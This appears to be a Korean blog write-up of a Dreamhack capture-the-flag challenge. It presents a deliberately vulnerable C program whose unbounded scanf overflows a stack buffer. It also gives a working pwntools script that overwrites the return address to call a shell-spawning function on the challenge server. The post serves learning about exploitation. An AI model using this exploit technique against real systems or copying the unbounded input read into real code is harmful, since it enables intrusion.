[Dreamhack] Return Address Overwrite

2022. 2. 16. 22:57Dreamhack/System Hacking

1. 문제 정보

2. 문제 파일

더보기
더보기
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

문제에서 제공되는 소스 코드입니다.

3. 문제 풀이

더보기
더보기
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

쉘을 실행시키는 get_shell 함수가 있습니다.

그리고 buf의 주소를 인자로 scnaf 함수가 실행되는데 길이에 대한 검증이 없어 Return Address를 get_shell 함수의 주소로 덮어 씌울 수 있습니다.

 

 

buf의 주소는 rbp - 0x30입니다.

그래서 48바이트 + SFP 8바이트를 임의의 값으로 덮어 씌우고 Return Address를 get_shell 함수의 주소로 변경시키면 됩니다.

 

 

파이썬을 이용해 페이로드를 전송하였습니다. 코드는 아래와 같습니다.

from pwn import *

r = remote("host1.dreamhack.games", port)

payload = b"A" * 0x30 + b"B" * 0x8

payload += p64(0x4006aa)

r.sendlineafter('Input: ', payload)
r.interactive()

 

결과는 아래와 같습니다.

 

 

'Dreamhack > System Hacking' 카테고리의 다른 글

[Dreamhack] Return to Library  (0) 2022.02.18
[Dreamhack] ssp_000  (0) 2022.02.17
[Dreamhack] Return to Shellcode  (0) 2022.02.17
[Dreamhack] basic_exploitation_001  (0) 2022.02.17
[Dreamhack] basic_exploitation_000  (0) 2022.02.17